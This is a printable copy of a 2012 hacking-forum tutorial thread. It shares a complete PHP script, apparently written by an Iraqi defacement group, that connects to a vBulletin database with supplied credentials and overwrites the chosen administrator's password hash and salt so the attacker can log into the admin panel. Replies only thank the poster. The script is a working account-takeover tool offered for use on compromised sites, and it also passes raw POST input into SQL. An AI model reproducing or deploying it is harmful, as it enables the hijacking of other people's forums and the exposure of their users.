![]() |
|
Vbulletin admin pass changer - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: Vbulletin admin pass changer (/Thread-Vbulletin-admin-pass-changer) |
Vbulletin admin pass changer - 4don4i - 02-17-2012 <?php */ //Style & Designe HTML Code echo ' <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>R00T@vBulletin ~</title> <style type="text/css"> *{margin: 0; padding: 0;} body{text-align: center; font: 11px Tahoma; color: #333333; background: #EEEEEE url(images/background.gif) repeat-x 0 0; } a{color:red; text-decoration: none; } a:hover {text-decoration: none; color: #ff0000; } .box {background-color: #FFFFFF; border: 1px solid #DDDDDD; padding: 6px; margin-bottom: 10px; width : 40%; } .box h3 {background-color: red; color: #ffffff; font-size: 11px; padding: 4px; margin-bottom: 5px; } #comments form p {margin-bottom: 5px;} #comments form input {margin-right: 5px;} #comments form input, textarea {border: 1px solid #cccccc; font-size: 11px; font-family: tahoma; padding: 4px; background-position: 4px 4px; background-repeat: no-repeat; } #comments form input {border: 1px solid #cccccc; } #comments form textarea {padding: 4px 4px !important; border: 1px solid #cccccc; } #comments form button {border: 1px solid #a0a0a0; font-size: 1em; font-family: Verdana; padding: 2px 6px; } </style> </head> <body> <br /> <br /> <br /> <div align="center"> <div class="box"> <h3>Update vBulletin aDmin pAsswOrd</h3> '; //Start Of Code switch($_GET[action]) {default:$url = $_SERVER['HTTP_HOST']; PRINT ' <div id="comments"><form id="form1" onsubmit="document.getElementById(\'form1\').style.display = \'none\';document.getElementById(\'loading\').style.display = \'none\';" name="form1" method="post" action="?action=Start"><table width="65%" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td height="35">Database Host : </td><td height="35"> <input name="DBHost" type="text" id="DBHost" value="localhost" /></td></tr><tr><td width="41%" height="35">Database Name : </td><td width="59%" height="35"><input name="DBName" type="text" id="DBName" /></td></tr><tr><td height="35">Database Username : </td><td height="35"><input name="DBUser" type="text" id="DBUser" value="root" /></td></tr><tr><td height="35">Database Password : </td><td height="35"><input name="DBPass" type="text" id="DBPass" /></td></tr><tr><td height="35">Forum URL : </td><td height="35"><br><input name="Url" type="text" id="Url" value="'.$url.'" /><br /> <span style="font-size: 10px">Without <font color="#FF0000">/</font> in The End Of Domain</span></td></tr><tr><td height="35">Admin ID : </td><td height="35"><input name="adminId" type="text" id="adminId" value="1" size="2" maxlength="10" /></td></tr></table><br /><input type="submit" name="Submit" value="Go Now!" /></form></div><div id="loading" style="display:none;">Please Wait...</div> '; break; case Start:$Connect = @mysql_select_db($_POST[DBName],mysql_pconnect($_POST[DBHost],$_POST[DBUser],$_POST[DBPass])); $Update =@mysql_query("UPDATE `user` SET `password` = 'bf99d80cd64818d4f8e63ed2af5fa79a',`salt` = 'I_d' WHERE `userid` = '".$_POST[adminId]."'"); //MD5 & Salt Password $url = $_POST[Url].'/admincp'; if($Connect) {echo '<b style="color:green;">Connected To Database !</b><br>'; }else{ echo '<b style="color:red;">Error : Could Not Connect To Database !!</b><br>'; }if($Update){ echo '<b style="color:green;">Password Has Been Updated !</b><br>'; }else{ echo '<b style="color:red;">Error : Could Not Update The Password</b><br>'; }if($Update && $Connect){ echo '<meta http-equiv="refresh"content="3;URL='.$url.'"/><b style="color:green;">Please Wait 3 Seconds ..</b><br>'; } break; } //End Of Code //Footer HTML echo ' </div> </div>Powered By <a href="http://vb.iraqbugs.com/">IRAQbugs</a> 2011<br><br> Coded by <a href="http://vb.iraqbugs.com/member.php?u=1"target="_blank">IraQiaN-r0x</a> </body> </html> '; RE: Vbulletin admin pass changer - elromeo - 04-05-2012 thanks.! Nice aport.
RE: Vbulletin admin pass changer - princeshama - 04-05-2012 nice sharing thankx ,.,.,.,.,, RE: Vbulletin admin pass changer - indonesia21 - 04-07-2012 i will try you script .. thank man
|